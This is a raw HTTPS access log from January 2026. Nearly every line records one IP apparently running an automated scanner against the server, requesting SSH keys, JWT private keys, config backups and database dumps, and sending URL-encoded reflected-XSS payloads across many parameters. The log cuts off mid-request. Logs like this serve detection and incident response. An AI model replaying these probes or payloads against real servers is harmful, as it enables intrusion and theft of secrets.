[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CCHIPRD_2/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Telerik.Web.UI.DialogHandler.axd?dp=1 HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.OLD HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //sphinx-graphiql HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Partners/application/configs/application.ini HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?edit-menu-item=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-edit-menu-item%27%29%3E&error=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-error%27%29%3E&post_title=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-post_title%27%29%3E&x=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-x%27%29%3E&down=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-down%27%29%3E&state=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-state%27%29%3E&data=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-data%27%29%3E&auth=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-auth%27%29%3E&themes=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-themes%27%29%3E&captcha=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-captcha%27%29%3E&nickname=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-nickname%27%29%3E&allusers=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-allusers%27%29%3E&color=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-color%27%29%3E&path=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-path%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.ssh/id_rsa_3072 HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //ie.txt HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.tar HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/system/authentication/services/test/backend/connection HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /console/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //apps/ckeditor/samples/old/replacebyclass.html HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/bbscache/config.php.~ HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///etc.json/FNZ.png HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/index.html HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-content/uploads/dump.sql HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //local2prod.sh HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/applyuth/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //default.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //subscriptions HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /radio/application/configs/application.ini HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?next=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-next%27%29%3E&preview=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-preview%27%29%3E&shortcode=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-shortcode%27%29%3E&features=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-features%27%29%3E&mode=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-mode%27%29%3E&out_trade_no=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-out_trade_no%27%29%3E&category=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-category%27%29%3E&replytocom=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-replytocom%27%29%3E&from=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-from%27%29%3E&start=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-start%27%29%3E&value=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-value%27%29%3E&range=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-range%27%29%3E&table=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-table%27%29%3E&limit=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-limit%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.ssh/id_rsa_4096 HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.db HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.tar HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //xxx.html HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //plugin/editor/ckeditor/samples/old/replacebyclass.html HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///etc.json/FNZ.ico HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.yml.~ HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/doc HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.sql.z HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-content/mysql.sql HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/system/authentication/services/test/backend/login HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.inc HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HRPRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /console/ HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //prod2local.sh HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //main.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1 HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /seminovos/application/configs/application.ini HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?callback=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-callback%27%29%3E&weblog_title=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-weblog_title%27%29%3E&check=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-check%27%29%3E&overwrite=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-overwrite%27%29%3E&prefix=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-prefix%27%29%3E&l=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-l%27%29%3E&token=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-token%27%29%3E&start_date=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-start_date%27%29%3E&direction=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-direction%27%29%3E&ID=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-ID%27%29%3E&pid=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-pid%27%29%3E&to=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-to%27%29%3E&checkemail=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-checkemail%27%29%3E&menu-locations=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-menu-locations%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.tar HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.sqlite HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //latest/samples/old/replacebyclass.html HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.php.~ HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/system HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.208.139:443.key HTTP/1.1" 199
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CAREERS/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //x.txt HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///etc.children.json HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /console/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/docs/ HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //rsync.sh HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.swp HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //settings.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1/altair HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /shop/application/configs/application.ini HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.tar HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?name=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-name%27%29%3E&json=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-json%27%29%3E&id_base=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-id_base%27%29%3E&where=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-where%27%29%3E&request=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-request%27%29%3E&notes=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-notes%27%29%3E&img=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-img%27%29%3E&a=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-a%27%29%3E&menu-item=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-menu-item%27%29%3E&xml=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-xml%27%29%3E&columns=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-columns%27%29%3E&service=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-service%27%29%3E&site_id=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-site_id%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //Content/ckeditor/samples/old/replacebyclass.html HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.war HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927590365 HTTP/1.1" -
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //header.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.208.139:443.pem HTTP/1.1" 199
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/system/content_packs HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /console/ HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /site_cg/application/configs/application.ini HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1/api/graphql HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //logs.txt HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.inc.php.~ HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /production.db HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/swagger.json HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///etc.children.1.json HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //sync.sh HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.html HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?tags=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-tags%27%29%3E&e=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-e%27%29%3E&users=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-users%27%29%3E&format=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-format%27%29%3E&dl=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-dl%27%29%3E&position=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-position%27%29%3E&url=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-url%27%29%3E&theme=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-theme%27%29%3E&firstname=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-firstname%27%29%3E&fields=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-fields%27%29%3E&form=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-form%27%29%3E&level=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-level%27%29%3E&month=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-month%27%29%3E&oauth_verifier=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-oauth_verifier%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/heprod_5/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.tar HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.tar HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //ckeditor/samples/plugins/htmlwriter/outputhtml.html HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/system/indexer/cluster/health HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //footer.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/jwt/private.pem HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.old.php.~ HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /console/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //ownz.html HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /slr/application/configs/application.ini HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1/explorer HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config-backup.txt HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///etc.children....4.2.1....json HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //test.sh HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/saprod/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /production.sqlite HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.tar HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?order_id=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-order_id%27%29%3E&cookie=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-cookie%27%29%3E&debug=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-debug%27%29%3E&m=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-m%27%29%3E&dir=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-dir%27%29%3E&new_role=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-new_role%27%29%3E&trashed=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-trashed%27%29%3E&log=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-log%27%29%3E&excerpt=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-excerpt%27%29%3E&settings-updated=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-settings-updated%27%29%3E&plugins=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-plugins%27%29%3E&modify=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-modify%27%29%3E&pwd=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-pwd%27%29%3E&file=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-file%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/swagger.yaml HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.7z HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/system/indexer/cluster/name HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //manager/includes/config.inc.php.~ HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jwt/private.pem HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //update_note.txt HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.save HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1/graph HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //login.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///etc.children.json?FNZ.css HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/hr857prd_er/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.tar HTTP/1.1" 196
[09/Jan/2026:10:55:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?i=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-i%27%29%3E&database=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-database%27%29%3E&tax_input=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-tax_input%27%29%3E&secret=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-secret%27%29%3E&mod=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-mod%27%29%3E&s=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-s%27%29%3E&stage=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-stage%27%29%3E&time=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-time%27%29%3E&new=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-new%27%29%3E&api_key=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-api_key%27%29%3E&invalid=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-invalid%27%29%3E&db=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-db%27%29%3E&upload=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-upload%27%29%3E&tablename=%27%3E%22%